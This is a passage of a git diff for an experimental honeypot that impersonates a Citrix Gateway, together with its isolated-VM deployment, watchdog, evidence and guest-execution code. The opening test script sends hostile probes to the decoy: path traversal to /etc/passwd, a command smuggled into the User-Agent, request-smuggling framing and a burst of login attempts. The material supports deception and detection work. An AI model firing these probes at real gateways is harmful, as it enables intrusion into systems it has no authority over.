"$H" "$B/../../etc/passwd" +code "OPTIONS /" -X OPTIONS -H "$H" "$B/" +code "POST auth form" -H "$H" -H 'Content-Type: application/x-www-form-urlencoded' --data 'login=demo&passwd=demo' "$B/nf/auth/doAuthentication.do" +code "PUT binary payload" -X PUT -H "$H" -H 'Content-Type: application/octet-stream' --data-binary @/tmp/manual-payload.bin "$B/sample.bin" +code "POST multipart upload" -H "$H" -H 'Content-Type: multipart/form-data; boundary=testboundary' --data-binary @/tmp/manual-multipart.bin "$B/upload" +code "POST oversize body" -X POST -H "$H" -H 'Content-Length: 999999999' --max-time 4 "$B/" +code "POST ambiguous framing" -X POST -H "$H" -H 'Transfer-Encoding: chunked' -H 'Content-Length: 5' --data '0' "$B/" +code "GET injection in User-Agent" -H "$H" -A 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/manual-test.txt`;# X' "$B/" + +echo -n "auth XML body: " +curl -sS --max-time 8 -H "$H" -H 'Content-Type: application/x-www-form-urlencoded' --data 'login=x&passwd=y' "$B/nf/auth/doAuthentication.do" | head -c 160 +echo +l=0; while [ $l -lt 12 ]; do l=$((l+1)); curl -sS --max-time 5 -o /dev/null -H "$H" --data 'login=a&passwd=b' "$B/nf/auth/doAuthentication.do"; done +echo "sent 12 rapid auth attempts (brute-force threshold is 10)" +python3 - "$B" "${HOST_HEADER:-localhost}" <<'PY' +import socket, sys, urllib.parse +url = urllib.parse.urlsplit(sys.argv[1]) +host = sys.argv[2] +s = socket.create_connection((url.hostname, url.port or 80), timeout=8) +s.sendall(f'GET / HTTP/1.1\r\nHost: {host}\r\n\r\n'.encode() + + f'GET /favicon.ico HTTP/1.1\r\nHost: {host}\r\nConnection: close\r\n\r\n'.encode()) +data = b'' +while True: + chunk = s.recv(65536) + if not chunk: + break + data += chunk +print(f'keep-alive pipelined -> {data.count(b"HTTP/1.1 ")} responses, {len(data)} bytes') +PY +echo "done" diff --git a/deploy/provision-pair.sh b/deploy/provision-pair.sh new file mode 100755 index 0000000..e1f423a --- /dev/null +++ b/deploy/provision-pair.sh @@ -0,0 +1,63 @@ +#!/bin/bash +# Run on the designated Proxmox host. Preparation only; never execute payloads here. +set -euo pipefail +cd /var/lib/vz/honeypot +expected=$(awk '$2 == "debian-12-genericcloud-amd64.qcow2" {print $1}' SHA512SUMS) +[[ -n "$expected" ]] +printf '%s debian.qcow2\n' "$expected" | sha512sum --check - +[[ -s admin.pub ]] +command -v nc >/dev/null +printf '#!/bin/sh\nexec nc 127.0.0.1 19223\n' > forward-execution-ssh +printf '#!/bin/sh\nexec nc 127.0.0.1 19090\n' > forward-collector-telemetry +chmod 700 forward-execution-ssh forward-collector-telemetry +for vmid in 222 223; do + if qm config "$vmid" >/dev/null 2>&1; then + echo "VM $vmid exists; refusing replacement" >&2; exit 1 + fi +done +for vmid in 222 223; do + role=collector; mem=2048; port=19222; mac=52:54:00:22:02:22 + packages='[python3, openssh-client, openssh-server, iptables, qemu-guest-agent]' + args="-netdev user,id=decoy,hostfwd=tcp:127.0.0.1:19443-:8443,hostfwd=tcp:127.0.0.1:19222-:22,hostfwd=tcp:127.0.0.1:19090-:19090,guestfwd=tcp:10.0.2.101:22-cmd:/var/lib/vz/honeypot/forward-execution-ssh -device virtio-net-pci,netdev=decoy,mac=$mac" + if [[ $vmid = 223 ]]; then + role=execution; mem=4096; port=19223; mac=52:54:00:22:02:23 + packages='[python3, strace, curl, wget, netcat-openbsd, iptables, openssh-server, qemu-guest-agent]' + # Trusted package bootstrap only. restrict=on MUST replace this before payloads. + args="-netdev user,id=decoy,hostfwd=tcp:127.0.0.1:19223-:22,guestfwd=tcp:10.0.2.100:19090-cmd:/var/lib/vz/honeypot/forward-collector-telemetry -device virtio-net-pci,netdev=decoy,mac=$mac" + fi + mkdir -p "seed-$vmid" /var/lib/vz/template/iso + cat > "seed-$vmid/user-data" <> "seed-$vmid/user-data"; fi + printf 'instance-id: decoy-%s-20260928\nlocal-hostname: decoy-%s\n' "$vmid" "$role" > "seed-$vmid/meta-data" + cat > "seed-$vmid/network-config" </dev/null + qm set "$vmid" --scsi0 "local-lvm:vm-$vmid-disk-0" --ide2 "local:iso/decoy-seed-$vmid.iso,media=cdrom" --boot order=scsi0 + qm resize "$vmid" scsi0 12G + qm start "$vmid" +done diff --git a/deploy/reset-execution.py b/deploy/reset-execution.py new file mode 100644 index 0000000..6fba3f3 --- /dev/null +++ b/deploy/reset-execution.py @@ -0,0 +1,261 @@ +#!/usr/bin/env python3 +"""Hourly VM223 reset, preserving its full disk and pcap first. Never prunes evidence. + +--check is read-only. --run stops intake and VM223, archives disk/pcap, validates, +then rolls back decoy-clean. On any failure it leaves VM223/intake stopped and +sets the host STOP latch. RAM is not preserved; collector evidence is untouched. +""" +import argparse +import datetime +import fcntl +import hashlib +import json +import os +from pathlib import Path +import shutil +import stat +import subprocess +import time +import uuid + +ROOT = Path('/var/lib/vz/honeypot') +ARCHIVES = ROOT / 'archives' +DISK = Path('/dev/pve/vm-223-disk-0') +LIMIT = 16 * 1024**3 +RESERVE = 4 * 1024**3 + + +def command(*args, timeout=60): + return subprocess.run(args, check=True, capture_output=True, text=True, + timeout=timeout).stdout + + +def qm(*args, timeout=60): + return command('/usr/sbin/qm', *args, timeout=timeout) + + +def guest(script): + result = json.loads(qm('guest', 'exec', '222', '--timeout', '20', '--', + '/bin/sh', '-c', script, timeout=25)) + if not result.get('exited') or result.get('exitcode') != 0: + raise RuntimeError('collector guest operation failed') + return result.get('out-data', '') + + +def sync_dir(path): + fd = os.open(path, os.O_RDONLY | os.O_DIRECTORY) + try: + os.fsync(fd) + finally: + os.close(fd) + + +def write_file(path, data): + fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, 0o600) + with os.fdopen(fd, 'wb') as stream: + stream.write(data) + stream.flush() + os.fsync(stream.fileno()) + sync_dir(path.parent) + + +def bounds(min_free=RESERVE): + used = sum(p.stat().st_size for p in ARCHIVES.rglob('*') if p.is_file()) if ARCHIVES.exists() else 0 + if used >= LIMIT: + raise RuntimeError('archive 16GiB budget reached; evidence retained') + if shutil.disk_usage(ROOT).free < min_free: + raise RuntimeError('host free-space reserve reached; evidence retained') + + +def valid_config(config): + values = dict(line.split(': ', 1) for line in config.splitlines() if ': ' in line) + if (values.get('name') != 'decoy-execution' or + not values.get('scsi0', '').startswith('local-lvm:vm-223-disk-0,') or + 'restrict=on' not in values.get('args', '') or + 'file=/var/lib/vz/honeypot/execution.pcap' not in values.get('args', '') or + any(k.startswith('net') and k[3:].isdigit() for k in values)): + raise RuntimeError('VM223 identity or isolation mismatch') + + +def validate(): + if os.geteuid() != 0: + raise RuntimeError('run on designated Proxmox host as root') + if ROOT.is_symlink() or not ROOT.is_dir() or (ARCHIVES.exists() and ARCHIVES.is_symlink()): + raise RuntimeError('invalid evidence directory') + if (ROOT / 'STOP').exists(): + raise RuntimeError('preexisting host STOP latch requires operator review') + if not stat.S_ISBLK(DISK.stat().st_mode): + raise RuntimeError('execution disk is not a block device') + current = qm('config', '223') + baseline = qm('config', '223', '--snapshot', 'decoy-clean') + valid_config(current) + valid_config(baseline) + guest('test -f /etc/decoy-collector && test ! -e /var/lib/decoy/STOP') + return current, baseline + + +def digest(path): + hashed = hashlib.sha256() + with path.open('rb') as stream: + while chunk := stream.read(1024**2): + bounds() + hashed.update(chunk) + os.fsync(stream.fileno()) + return hashed.hexdigest() + + +def install_admin_ca(): + public = ROOT / 'admin-ca.authorized' + if not public.exists(): + return + line = public.read_text().strip() + if not line.startswith('cert-authority,principals="decoy-admin",restrict,pty ssh-ed25519 ') or len(line) > 4096 or '\n' in line: + raise RuntimeError('invalid dedicated admin CA authorization') + script = ("import pathlib,os; p=pathlib.Path('/root/.ssh/authorized_keys'); " + "p.parent.mkdir(mode=0o700,exist_ok=True); " + "lines=p.read_text().splitlines() if p.exists() else []; " + "line=" + repr(line) + "; " + "p.write_text('\\n'.join(lines if line in lines else lines+[line])+'\\n'); " + "p.chmod(0o600)") + result = json.loads(qm('guest', 'exec', '223', '--timeout', '10', '--', '/usr/bin/python3', '-c', script)) + if not result.get('exited') or result.get('exitcode') != 0: + raise RuntimeError('admin certificate authorization restore failed') + + +def run(): + # Permanent lock inode; never unlink it while other cron instances may wait. + with open('/run/decoy-reset.lock', 'a') as lock: + try: + fcntl.flock(lock, fcntl.LOCK_EX | fcntl.LOCK_NB) + except BlockingIOError: + print('Reset already in progress') + return + validate() + changed = False + try: + command('systemctl', 'stop', 'decoy-ingress.service') + changed = True + command('systemctl', 'stop', 'decoy-watchdog.service') + guest('systemctl stop decoy.service decoy-network.service') + qm('stop', '223') + if 'status: stopped' not in qm('status', '223'): + raise RuntimeError('execution VM did not stop') + # Recheck after intake stops: never erase a concurrent capture-failure latch. + current, baseline = validate() + bounds(8 * 1024**3) + stamp = datetime.datetime.now(datetime.timezone.utc).strftime('%Y%m%dT%H%M%SZ') + ARCHIVES.mkdir(mode=0o700, exist_ok=True) + archive = ARCHIVES / (stamp + '-' + uuid.uuid4().hex) + archive.mkdir(mode=0o700) + sync_dir(ARCHIVES) + write_file(archive / 'vm223.conf', current.encode()) + write_file(archive / 'baseline.conf', baseline.encode()) + partial = archive / 'execution.qcow2.partial' + # Reserve file exclusively before qemu-img writes it; protected parent0700. + write_file(partial, b'') + with (archive / 'convert.log').open('xb') as output: + process = subprocess.Popen(['qemu-img', 'convert', '-c', '-f', 'raw', '-O', + 'qcow2', str(DISK), str(partial)], stdout=output, stderr=output) + deadline = time.monotonic() + 900 + try: + while process.poll() is None: + bounds() + if time.monotonic() > deadline: + raise RuntimeError('disk archive timeout') + time.sleep(0.5) + if process.returncode: + raise RuntimeError('disk archive conversion failed; inspect retained convert.log') + finally: + if process.poll() is None: + process.kill() + process.wait() + output.flush() + os.fsync(output.fileno()) + bounds() + check = command('qemu-img', 'check', '--output=json', str(partial), timeout=300) + command('qemu-img', 'compare', '-f', 'raw', '-F', 'qcow2', str(DISK), str(partial), timeout=300) + write_file(archive / 'disk-check.json', check.encode()) + disk_hash = digest(partial) + image = archive / 'execution.qcow2' + partial.rename(image) + sync_dir(archive) + pcap = ROOT / 'execution.pcap' + if pcap.is_symlink() or not pcap.is_file(): + raise RuntimeError('pcap is missing or not a regular file') + pcap_hash = digest(pcap) + pcap_size = pcap.stat().st_size + if sum(p.stat().st_size for p in ARCHIVES.rglob('*') if p.is_file()) + pcap_size >= LIMIT: + raise RuntimeError('pcap would exceed archive budget') + pcap.rename(archive / 'execution.pcap') + sync_dir(ROOT) + sync_dir(archive) + metadata = {'timestamp_utc': stamp, 'vmid': 223, 'baseline': 'decoy-clean', + 'disk_sha256': disk_hash, 'pcap_sha256': pcap_hash, + 'disk_bytes': image.stat().st_size, 'pcap_bytes': pcap_size, + 'memory_preserved': False, 'state': 'validated_before_rollback'} + write_file(archive / 'manifest.json', (json.dumps(metadata, indent=2) + '\n').encode()) + bounds() + # A preexisting STOP is never cleared. Any late latch aborts reset. + if (ROOT / 'STOP').exists(): + raise RuntimeError('host STOP appeared during archive') + guest('test ! -e /var/lib/decoy/STOP') + qm('rollback', '223', 'decoy-clean', timeout=300) + valid_config(qm('config', '223')) + write_file(ROOT / 'execution.pcap', b'') + guest('test ! -e /var/lib/decoy/STOP && systemctl start decoy-network.service decoy.service && ' + 'systemctl is-active --quiet decoy-network.service decoy.service') + qm('start', '223') + deadline = time.monotonic() + 90 + while True: + try: + ready = json.loads(qm('guest', 'exec', '223', '--timeout', '5', '--', + '/bin/sh', '-c', 'test -f /etc/decoy-disposable-guest && systemctl is-active --quiet decoy-relay decoy-guest-network', timeout=10)) + if ready.get('exited') and ready.get('exitcode') == 0: + break + except (subprocess.SubprocessError, ValueError): + pass + if time.monotonic() >= deadline: + raise RuntimeError('restored guest did not become ready') + time.sleep(2) + install_admin_ca() + command('systemctl', 'start', 'decoy-watchdog.service') + command('systemctl', 'start', 'decoy-ingress.service') + write_file(archive / 'reset-complete.json', + json.dumps({'completed_time_ns': time.time_ns()}).encode()) + print(f'Reset VM223; disk and packet evidence retained at {archive}') + except BaseException: + if changed: + # Best effort fail-closed; never resume intake or roll back on failure. + for args in [('systemctl', 'stop', 'decoy-ingress.service'), + ('/usr/sbin/qm', 'stop', '223')]: + try: + command(*args) + except Exception: + pass + try: + guest('systemctl stop decoy.service decoy-network.service') + except Exception: + pass + try: + write_file(ROOT / 'STOP', b'automatic reset failed; operator review required\n') + except FileExistsError: + pass + raise + finally: + if changed: + command('systemctl', 'start', 'decoy-watchdog.service') + + +if __name__ == '__main__': + parser = argparse.ArgumentParser(description=__doc__) + mode = parser.add_mutually_exclusive_group(required=True) + mode.add_argument('--run', action='store_true') + mode.add_argument('--check', action='store_true') + args = parser.parse_args() + os.umask(0o077) + if args.check: + validate() + bounds(8 * 1024**3) + print('Reset preflight passed; no changes made') + else: + run() diff --git a/deploy/restrict-pair.py b/deploy/restrict-pair.py new file mode 100755 index 0000000..430152a --- /dev/null +++ b/deploy/restrict-pair.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python3 +"""Run once on Proxmox after trusted cloud-init completes, before deploying payload code.""" +import json +from pathlib import Path +import shlex +import subprocess + +ROOT = Path('/var/lib/vz/honeypot') +PCAP = ROOT / 'execution.pcap' +if PCAP.exists(): + raise SystemExit('Existing capture found: refusing a restart that would truncate evidence') + +def guest(vm, command): + result = json.loads(subprocess.check_output( + ['qm', 'guest', 'exec', str(vm), '--', '/bin/sh', '-c', command], text=True)) + if result.get('exitcode') != 0: + raise RuntimeError(result) + return result.get('out-data', '') + +for vm in (222, 223): + guest(vm, 'test -f /var/lib/decoy-bootstrap-complete && cloud-init status --long') +keys = {vm: guest(vm, 'cat /etc/ssh/ssh_host_ed25519_key.pub').strip() for vm in (222, 223)} +pub = guest(222, 'mkdir -p /root/.ssh; chmod 700 /root/.ssh; ' + 'test -f /root/.ssh/decoy_execution_ed25519 || ' + 'ssh-keygen -q -t ed25519 -N "" -f /root/.ssh/decoy_execution_ed25519; ' + 'cat /root/.ssh/decoy_execution_ed25519.pub').strip() +guest(223, 'printf "%s\\n" ' + shlex.quote( + 'no-agent-forwarding,no-port-forwarding,no-X11-forwarding ' + pub) + + ' >> /root/.ssh/authorized_keys; chmod 600 /root/.ssh/authorized_keys') +guest(222, 'printf "%s\\n" ' + shlex.quote('10.0.2.101 ' + keys[223]) + + ' > /root/.ssh/known_hosts; chmod 600 /root/.ssh/known_hosts; ' + 'cp /root/.ssh/known_hosts /root/.ssh/decoy_execution_known_hosts') +config = ('Host decoy-execution\n HostName 10.0.2.101\n User root\n' + ' IdentityFile /root/.ssh/decoy_execution_ed25519\n IdentitiesOnly yes\n' + ' StrictHostKeyChecking yes\n BatchMode yes\n ConnectTimeout 5\n') +guest(222, 'printf "%s" ' + shlex.quote(config) + + ' > /root/.ssh/config; chmod 600 /root/.ssh/config') +subprocess.run(['qm', 'shutdown', '223', '--timeout', '60'], check=True) +ROOT.chmod(0o700) +PCAP.touch(mode=0o600, exist_ok=False) +# -sandbox applies a QEMU seccomp filter: deny obsolete syscalls and privilege elevation. +args = ('-netdev user,id=decoy,restrict=on,hostfwd=tcp:127.0.0.1:19223-:22,' + 'guestfwd=tcp:10.0.2.100:19090-cmd:/var/lib/vz/honeypot/forward-collector-telemetry ' + '-device virtio-net-pci,netdev=decoy,mac=52:54:00:22:02:23 ' + '-object filter-dump,id=decoycap,netdev=decoy,' + 'file=/var/lib/vz/honeypot/execution.pcap,maxlen=512 ' + '-sandbox on,obsolete=deny,elevateprivileges=deny') +subprocess.run(['qm', 'set', '223', '--args', args], check=True) +subprocess.run(['qm', 'start', '223'], check=True) +for vm, key in keys.items(): + print(f'decoy-{vm} {key}') # Public host keys only. diff --git a/deploy/vm-config.json b/deploy/vm-config.json new file mode 100644 index 0000000..1dbfe79 --- /dev/null +++ b/deploy/vm-config.json @@ -0,0 +1 @@ +{"host":"10.0.2.101","port":22,"identity":"/root/.ssh/decoy_execution_ed25519","known_hosts":"/root/.ssh/decoy_execution_known_hosts","vmid":223,"allowed_peers":"/var/lib/decoy/allowed-peers.json","stop_file":"/var/lib/decoy/STOP"} diff --git a/deploy/watchdog.py b/deploy/watchdog.py new file mode 100644 index 0000000..2db0912 --- /dev/null +++ b/deploy/watchdog.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python3 +"""Proxmox-side fail-closed monitor; only the disposable VM223 is stopped.""" +import json +import pathlib +import shutil +import subprocess +import time + +DIRECTORY = pathlib.Path('/var/lib/vz/honeypot') + + +def qm(*args): + return subprocess.run(['/usr/sbin/qm', *args], capture_output=True, text=True, timeout=25, check=True).stdout + + +def stop(reason): + with (DIRECTORY / 'watchdog-events.jsonl').open('a') as output: + output.write(json.dumps(dict(time_ns=time.time_ns(), event='execution_vm_stopped', reason=reason)) + '\n') + output.flush() + qm('stop', '223') + # This latch prevents unattended auto-restart. Operator must verify evidence before clearing. + (DIRECTORY / 'STOP').touch(mode=0o600) + + +def main(): + last_health = 0 + while True: + try: + if 'status: running' not in qm('status', '223'): + time.sleep(2) + continue + reason = None + pcap = DIRECTORY / 'execution.pcap' + if (DIRECTORY / 'STOP').exists(): + reason = 'host stop latch' + elif pcap.exists() and pcap.stat().st_size >= 512 * 1024 * 1024: + reason = 'pcap quota' + elif shutil.disk_usage(DIRECTORY).free < 4 * 1024**3: + reason = 'host free space reserve' + elif time.monotonic() - last_health >= 10: + last_health = time.monotonic() + usage = subprocess.run(['/usr/sbin/lvs', '--noheadings', '-o', 'data_percent', 'pve/data'], capture_output=True, text=True, check=True, timeout=5) + if float(usage.stdout.strip()) >= 85: + stop('Proxmox thin pool reserve') + continue + try: + result = json.loads(qm('guest', 'exec', '222', '--timeout', '10', '--', + '/bin/sh', '-c', + 'test ! -e /var/lib/decoy/STOP && ' + 'systemctl is-active --quiet decoy.service decoy-network.service')) + if result.get('exitcode') != 0 or not result.get('exited'): + reason = 'collector services stopped or capture failed' + except (OSError, ValueError, subprocess.SubprocessError): + reason = 'collector health unavailable' + if reason: + stop(reason) + except (OSError, subprocess.SubprocessError) as error: + print(type(error).__name__, flush=True) + time.sleep(1) + + +if __name__ == '__main__': + main() diff --git a/env_file.py b/env_file.py new file mode 100644 index 0000000..2a2d8bf --- /dev/null +++ b/env_file.py @@ -0,0 +1,23 @@ +"""Minimal .env loader so local runs match the systemd EnvironmentFile. Never overwrites +variables already set in the environment.""" +import os +import pathlib + + +def load(path='.env'): + file = pathlib.Path(path) + if not file.is_file(): + return + for line in file.read_text().splitlines(): + line = line.strip() + if not line or line.startswith('#') or '=' not in line: + continue + key, _, value = line.partition('=') + os.environ.setdefault(key.strip(), value.strip().strip('\'"')) + + +def env_int(name, default): + try: + return int(os.environ.get(name, default)) + except (TypeError, ValueError): + return default diff --git a/evidence.py b/evidence.py new file mode 100644 index 0000000..2f4a0e9 --- /dev/null +++ b/evidence.py @@ -0,0 +1,92 @@ +"""Local append-only event journal and inert, content-addressed evidence.""" +import datetime +import hashlib +import json +import os +import pathlib +import threading +import time + + +class EvidenceError(OSError): + pass + + +class Evidence: + def __init__(self, directory, quota=1024 ** 3): + self.directory = pathlib.Path(directory) + self.directory.mkdir(parents=True, exist_ok=True, mode=0o700) + self.artifacts = self.directory / 'artifacts' + self.artifacts.mkdir(exist_ok=True, mode=0o700) + os.chmod(self.directory, 0o700) + os.chmod(self.artifacts, 0o700) + self.lock = threading.RLock() + self.quota = quota + self.used = sum(p.stat().st_size for p in self.directory.rglob('*') if p.is_file()) + self.journal = os.open(self.directory / 'events.jsonl', os.O_WRONLY | os.O_APPEND | os.O_CREAT | os.O_NOFOLLOW, 0o600) + os.fchmod(self.journal, 0o600) + + def reserve(self, size): + if self.used + size > self.quota: + raise OSError('Evidence quota reached; preserve/archive evidence before restarting') + + def emit(self, event, **data): + now = time.time_ns() + entry = dict(schema_version=2, event=event, time_ns=now, + timestamp=datetime.datetime.fromtimestamp(now / 1e9, datetime.timezone.utc).isoformat(timespec='microseconds'), + **data) + raw = (json.dumps(entry, ensure_ascii=True) + '\n').encode() + with self.lock: + self.reserve(len(raw)) + with os.fdopen(os.dup(self.journal), 'ab') as output: + output.write(raw) + output.flush() + os.fsync(output.fileno()) + self.used += len(raw) + + def save(self, data): + digest = hashlib.sha256(data).hexdigest() + path = self.artifacts / (digest + '.bin') + with self.lock: + if not path.exists(): + self.reserve(len(data)) + fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW, 0o600) + try: + with os.fdopen(fd, 'wb') as output: + output.write(data) + output.flush() + os.fsync(output.fileno()) + except BaseException: + path.unlink(missing_ok=True) # do not leave a partial blob with a full-content hash + raise + self.used += len(data) + return dict(sha256=digest, bytes=len(data), artifact='artifacts/' + path.name) + + def close(self): + os.close(self.journal) + + +class RecordingReader: + """Retain only bytes consumed by the HTTP parser, after TLS decryption.""" + def __init__(self, source, limit): + self.source, self.limit = source, limit + self.data = bytearray() + self.truncated = False + + def record(self, data): + room = max(0, self.limit - len(self.data)) + self.data.extend(data[:room]) + self.truncated |= len(data) > room + return data + + def read(self, *args): + return self.record(self.source.read(*args)) + + def read1(self, *args): + return self.record(self.source.read1(*args)) + + def readline(self, *args): + return self.record(self.source.readline(*args)) + + def close(self): + self.source.close() diff --git a/guest.py b/guest.py new file mode 100644 index 0000000..77c54cd --- /dev/null +++ b/guest.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python3 +"""Disposable Linux guest only. Never run on a workstation or collector.""" +import base64 +import hashlib +import json +import os +import pathlib +import signal +import stat +import subprocess +import sys +import threading +import time + +LOCK = threading.Lock() +LIMIT = 16 * 1024 * 1024 +ACTIVE = None +ROOTS = ['/var/tmp', '/tmp', '/root', '/netscaler', '/nsconfig', '/usr/local/bin', '/etc'] + + +def emit(event, content=None, **data): + if content is not None: + data['base64'] = base64.b64encode(content).decode() + with LOCK: + try: + print(json.dumps(dict(event=event, guest_time_ns=time.time_ns(), **data)), flush=True) + except (BrokenPipeError, OSError): + terminate() + os._exit(1) + + +def scan(): + result = {} + for root in ROOTS: + for folder, dirs, files in os.walk(root, followlinks=False): + dirs[:] = dirs[:128] + for name in files: + path = os.path.join(folder, name) + try: + s = os.lstat(path) + if stat.S_ISREG(s.st_mode): + result[path] = (s.st_ino, s.st_mtime_ns, s.st_ctime_ns, s.st_size, s.st_mode) + except OSError: + pass + if len(result) >= 20000: + return result + return result + + +def watch(stop, previous): + # ponytail: polling preserves observed versions; syscall trace records fast deletes/other paths. + while not stop.wait(.25): + current = scan() + for path in previous.keys() - current.keys(): + emit('guest_file_deleted', path=path) + for path, info in current.items(): + if previous.get(path) == info: + continue + try: + fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK) + with os.fdopen(fd, 'rb') as f: + if not stat.S_ISREG(os.fstat(f.fileno()).st_mode): + continue + data = f.read(LIMIT + 1) + emit('guest_file_version', content=data[:LIMIT], path=path, size=info[3], + mode=oct(info[4]), truncated=len(data) > LIMIT) + except OSError as e: + emit('guest_file_capture_error', path=path, error=str(e)) + previous = current + + +def terminate(*_): + if ACTIVE is not None: + try: + os.killpg(ACTIVE.pid, signal.SIGKILL) + except ProcessLookupError: + pass + + +def open_beneath(path, flags, mode=0o600): + # Resolve every directory with NOFOLLOW, including mutable /var/tmp/uploads. + parts = pathlib.PurePosixPath(path).parts + if parts[0] != '/' or '..' in parts: + raise ValueError('invalid path') + directory = os.open('/', os.O_RDONLY | os.O_DIRECTORY) + try: + for part in parts[1:-1]: + new = os.open(part, os.O_RDONLY | os.O_DIRECTORY | os.O_NOFOLLOW, dir_fd=directory) + os.close(directory) + directory = new + return os.open(parts[-1], flags | os.O_NOFOLLOW | os.O_NONBLOCK, mode, dir_fd=directory) + finally: + os.close(directory) + + +def main(): + global ACTIVE + marker = pathlib.Path('/etc/decoy-disposable-guest') + if not marker.is_file() or marker.is_symlink(): + raise SystemExit('Refusing execution outside disposable guest') + maximum = 4 * ((LIMIT + 2) // 3) + 131072 + line = sys.stdin.buffer.readline(maximum + 1) + if len(line) > maximum or not line.endswith(b'\n'): + raise SystemExit('request limit') + data = json.loads(line) + if data['action'] == 'read': + path = pathlib.PurePosixPath(data['path']) + if not str(path).startswith('/netscaler/ns_gui/') or '..' in path.parts: + raise SystemExit('invalid webroot path') + fd = open_beneath(str(path), os.O_RDONLY) + with os.fdopen(fd, 'rb') as f: + if not stat.S_ISREG(os.fstat(f.fileno()).st_mode): + raise SystemExit('not regular file') + raw = f.read(LIMIT + 1) + emit('guest_http_file', content=raw[:LIMIT], path=str(path), truncated=len(raw) > LIMIT) + return + if data['action'] == 'upload': + raw = base64.b64decode(data['base64'], validate=True) + if len(raw) > LIMIT: + raise SystemExit('upload limit') + name = '/var/tmp/uploads/' + hashlib.sha256(raw).hexdigest() + '.bin' + os.makedirs('/var/tmp/uploads', mode=0o700, exist_ok=True) + # Never truncate attacker-selected symlinks, hardlinks, devices or existing files. + try: + fd = open_beneath(name, os.O_WRONLY | os.O_CREAT | os.O_EXCL) + except FileExistsError: + emit('guest_upload', path=name, bytes=len(raw), error='path exists; offguest original retained') + return + with os.fdopen(fd, 'wb') as f: + f.write(raw) + emit('guest_upload', path=name, bytes=len(raw)) + return + if data['action'] != 'execute': + raise SystemExit('unknown action') + command = data['command'] + if not isinstance(command, str) or len(command) > 65536: + raise SystemExit('command limit') + for sig in (signal.SIGHUP, signal.SIGTERM, signal.SIGINT): + signal.signal(sig, lambda *_: (terminate(), sys.exit(1))) + stop = threading.Event() + watcher = threading.Thread(target=watch, args=(stop, scan()), daemon=True) + watcher.start() + proc = subprocess.Popen(['strace', '-f', '-ttt', '-T', '-s', '4096', '-yy', + '/bin/bash', '-c', command], cwd='/var/tmp', + stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, + start_new_session=True) + ACTIVE = proc + emit('guest_process_start', pid=proc.pid, command=command) + def drain(stream, event): + while chunk := stream.read1(32768): + emit(event, content=chunk) + readers = [threading.Thread(target=drain, args=(proc.stdout, 'guest_stdout'), daemon=True), + threading.Thread(target=drain, args=(proc.stderr, 'guest_syscalls_stderr'), daemon=True)] + for reader in readers: + reader.start() + try: + proc.wait(timeout=600) + except subprocess.TimeoutExpired: + emit('guest_execution_limit', seconds=600) + finally: + try: + os.killpg(proc.pid, signal.SIGKILL) + except ProcessLookupError: + pass + proc.wait() + for reader in readers: + reader.join(3) + time.sleep(.5) + stop.set() + watcher.join(2) + emit('guest_process_end', returncode=proc.poll()) + + +if __name__ == '__main__': + main() diff --git a/honeypot.py b/honeypot.py new file mode 100644 index 0000000..1869147 --- /dev/null +++ b/honeypot.py @@ -0,0 +1,728 @@ +#!/usr/bin/env python3 +"""Experimental CVE-2026-88771 decoy. Simulation by default; opt-in disposable VM execution.""" +import argparse +import collections +import email.parser +import email.policy +import hashlib +import html +import http.server +import ipaddress +import os +import pathlib +import posixpath +import re +import secrets +import shlex +import ssl +import sys +import threading +import time +import urllib.parse +from trusted_proxy import source as proxy_source, forwarded_client +from evidence import Evidence, EvidenceError, RecordingReader +from env_file import load, env_int + +MAX_BODY = 16 * 1024 * 1024 +MAX_FILES = 64 +MAX_FILE = 8192 +MAX_SESSIONS = 128 +MAX_PENDING = 16 +TTL = 3600 +WEBROOT = '/netscaler/ns_gui' +UI = pathlib.Path(__file__).parent / 'ui' +LOGIN = (UI / 'login.html').read_bytes() +# The login page is served at every entry point a Citrix Gateway exposes. +LOGIN_PATHS = {'/', '/vpn/', '/vpn/index.html', '/vpn/tmindex.html', + '/logon/LogonPoint/tmindex.html', '/logon/LogonPoint/index.html', + '/logon/LogonPoint/custom.html', '/menu/neo/'} +JS = 'application/javascript; charset=utf-8' +STATIC = { + '/logon/LogonPoint/login.js': ((UI / 'login.js').read_bytes(), JS), + '/logon/LogonPoint/receiver/images/common/ReceiverFullScreenBackground.jpg': ((UI / 'background.jpg').read_bytes(), 'image/jpeg'), + '/vpn/media/citrixgateway_logo_white.png': ((UI / 'logo.png').read_bytes(), 'image/png'), + '/logon/LogonPoint/receiver/images/common/icon_vpn.ico': ((UI / 'favicon.ico').read_bytes(), 'image/vnd.microsoft.icon'), + '/vpn/images/AccessGateway.ico': ((UI / 'favicon.ico').read_bytes(), 'image/vnd.microsoft.icon'), + '/favicon.ico': ((UI / 'favicon.ico').read_bytes(), 'image/vnd.microsoft.icon'), + # Static NetScaler Gateway scripts scanners look for; symbols match the real rdx/CTXS namespace. + '/vpn/js/rdx.js': (b"window.CTXS=window.CTXS||{};window.rdx=window.rdx||{};" + b"rdx.base_view=function(){};rdx.utils={get_view:function(){}};\n", JS), + '/vpn/js/rdx/core/rdx.js': (b"window.rdx=window.rdx||{};rdx.base_view=rdx.base_view||function(){};" + b"rdx.utils={get_view:function(){}};\n", JS), + '/vpn/js/gateway_login_view.js': (b"rdx.gateway_login_view=function(){return new rdx.base_view();};\n", JS), + '/vpn/js/gateway_login_form_view.js': (b"rdx.gateway_login_form_view=function(){return rdx.utils.get_view();};\n", JS), + '/logon/LogonPoint/init.js': (b"var _ctxstxt_CitrixCopyright='Copyright (c) Citrix Systems, Inc.';" + b"window.CTXS=window.CTXS||{};CTXS.init=function(){};\n", JS), + '/logon/LogonPoint/receiver/js/ctxs.core.min.js': (b"window.CTXS=window.CTXS||{};CTXS.core={version:'1.0'};\n", JS), +} + + +class Session: + def __init__(self): + self.sid = secrets.token_hex(16) + self.seen = time.monotonic() + self.cwd = '/var/tmp' + self.files = {'/etc/passwd': 'root:*:0:0:Charlie &:/root:/bin/sh\n', + '/nsconfig/ns.conf': '# synthetic honeypot configuration\n'} + self.pending = 